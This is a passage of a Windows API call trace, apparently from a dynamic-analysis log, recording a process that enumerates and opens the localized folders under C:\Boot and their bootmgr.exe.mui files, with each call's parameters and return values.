ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.968] GetLastError () returned 0x12 [0254.968] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.968] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.968] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.968] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.968] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0254.968] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.969] CreateFileW (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0254.970] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.970] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.970] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.970] NtClose (Handle=0x14c) returned 0x0 [0254.970] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.970] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.970] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.970] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.970] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.970] GetLastError () returned 0x12 [0254.970] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.970] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.971] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.971] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.971] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.971] GetLastError () returned 0x12 [0254.971] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.971] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.971] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0254.971] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.138] CreateFileW (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0255.139] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0255.139] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0255.139] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0255.139] NtClose (Handle=0x188) returned 0x0 [0255.139] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.139] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0255.139] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.139] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.139] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.139] GetLastError () returned 0x12 [0255.139] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0255.139] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0255.140] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.140] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.140] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.140] GetLastError () returned 0x12 [0255.140] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0255.140] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0255.140] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0255.140] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.140] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0255.140] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.140] CreateFileW (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0255.140] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0255.140] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0255.140] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0255.140] NtClose (Handle=0x14c) returned 0x0 [0255.141] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.141] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0255.141] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.141] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.141] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.141] GetLastError () returned 0x12 [0255.141] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0255.141] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0255.141] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.141] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.141] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.141] GetLastError () returned 0x12 [0255.141] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0255.141] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0255.141] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0255.141] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.141] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0255.142] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.284] CreateFileW (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0255.284] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0255.284] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0255.284] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0255.285] NtClose (Handle=0x188) returned 0x0 [0255.285] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.285] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0255.285] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.285] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.285] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.285] GetLastError () returned 0x12 [0255.285] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0255.285] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0255.285] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.285] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0255.285] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0255.285] GetLastError () returned 0x12 [0255.286] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0255.286] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0255.286] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0255.286] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.286] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, 